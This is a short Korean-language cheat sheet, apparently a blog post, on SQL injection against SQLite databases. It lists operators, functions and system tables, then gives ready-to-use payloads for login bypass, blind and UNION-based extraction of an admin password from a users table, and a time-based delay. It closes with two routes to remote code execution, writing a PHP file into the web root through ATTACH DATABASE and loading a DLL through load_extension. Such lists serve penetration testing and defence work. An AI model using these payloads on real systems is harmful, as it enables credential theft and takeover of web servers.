SQLite 환경에서의 SQL Injection 공격에 대해 간단히 작성해봤다.
Operators
||
연산자: 문자열을 concat할 수 있다. 예를 들면'abc'||'def'
는'abcdef'
와 같다. 이 연산자는'abc'||FUNCTION()
꼴로 함수에도 사용할 수 있다.LIKE
연산자: 와일드카드(%
,_
) 기반의 문자열 매칭을 할 수 있다. 예를 들면'abc' LIKE '_b_'
나,'abc' LIKE 'a%'
는 참이다.IN
연산자: 집합 내의 문자열 존재 여부를 판단할 수 있다. 예를 들면'abc' IN ('abc', 'def', 'hij')
는 참이다.
Functions
- 집계 함수:
AVG
,COUNT
,MAX
,MIN
,SUM
- 문자열 함수:
SUBSTR
,TRIM
,LTRIM
,RTRIM
,LENGTH
,UPPER
,LOWER
,INSTR
- 흐름 제어 함수:
COALESCE
,IFNULL
,NULLIF
- 시간 함수:
DATE
,TIME
,DATETIME
,JULIANDAY
,STRFTIME
- 수학 함수:
ABS
,RANDOM
,ROUND
- http://www.sqlitetutorial.net/sqlite-functions/
Commtents
SELECT 1; -- lorem ipsum
SELECT /* lorem ipsum */ 1;
System Tables
SELECT type, name, tbl_name, rootpage, sql FROM sqlite_master;
SELECT name, seq FROM sqlite_sequence;
SELECT tbl, idx, stat FROM sqlite_stat1;
https://www.techonthenet.com/sqlite/sys_tables/
Basic SQL Injection
0 OR 1 --
' OR 1 --
adm'||'in
Blind SQL Injection
0 OR username='admin' AND LENGTH(password)=32 --
0 OR username='admin' AND SUBSTR(password, 1, 1)='a' --
0 OR username='admin' AND password LIKE 'a%' --
Union based SQL Injection
0 UNION SELECT 1, sqlite_version(), 3 --
0 UNION SELECT 1, 2, password FROM users WHERE username='admin' --
Time based SQL Injection
0 AND {random_number}=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB({sleep_time}00000000/2)))) --
SQL Injection to RCE
ATTACH DATABASE '/var/www/html/attack.php' AS x;
CREATE TABLE x.attack (payload text);
INSERT INTO x.attack (payload) VALUES ('<?php phpinfo(); ?>');
0 UNION SELECT 1, load_extension('/var/www/html/hack.dll', 'DllMain');